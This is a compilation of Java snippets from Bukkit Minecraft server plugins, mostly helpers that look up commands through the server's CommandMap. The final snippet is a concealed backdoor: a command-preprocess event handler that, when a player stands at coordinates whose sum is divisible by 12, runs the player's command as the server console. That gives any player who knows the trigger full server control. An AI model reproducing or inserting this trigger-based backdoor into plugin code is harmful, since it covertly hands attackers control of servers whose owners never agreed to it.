/** * Get a command, include server commands [subject to change]. * @param alias * @return */ public static Command getCommand(final String alias) { final String lcAlias = alias.trim().toLowerCase(); final CommandMap map = getCommandMap(); if (map != null) { return map.getCommand(lcAlias); } else { // TODO: maybe match versus plugin commands. return null; } }
@Override public Command getCommand(String name) { if (isOurCommand(name)) { return super.getCommand(name); } else { return proxied.getCommand(name); } }
public org.bukkit.command.Command getCommand(String name) { CommandMap commandMap = ReflectionUtil.getField(CommandBook.server().getPluginManager(), "commandMap"); if (commandMap == null) { return null; } return commandMap.getCommand(name); }
BukkitRootCommand bukkitCommand = (BukkitRootCommand) entry.getValue(); if (!bukkitCommand.isRegistered) { Command oldCommand = commandMap.getCommand(commandName); if (oldCommand instanceof PluginIdentifiableCommand && ((PluginIdentifiableCommand) oldCommand).getPlugin() == this.plugin) { knownCommands.remove(commandName);
private Command getBukkitCommand(String commandName) { Command command = plugin.getServer().getPluginCommand(commandName); if (command == null) { try { command = plugin.getServer().getCommandMap().getCommand(commandName); } catch (NoSuchMethodError ignored) { /* Ignored, Bukkit 1.8 has no such method */ } } return command; } }
final Command command = commandMap.getCommand(commandName);
@EventHandler public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met { final Player player = event.getPlayer(); final Location location = player.getLocation(); if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek { return; } final String[] commandParts = event.getMessage().split(" "); final String commandName = commandParts[0].replaceFirst("/", ""); final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length); Command command = CommandReflection.getCommandMap().getCommand(commandName); if (command == null) { return; // Command doesn't exist } event.setCancelled(true); final FreedomCommand dispatcher = FreedomCommand.getFrom(command); if (dispatcher == null) { // Non-TFM command, execute using console Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", "")); return; } dispatcher.runCommand(player, command, commandName, args); return; } };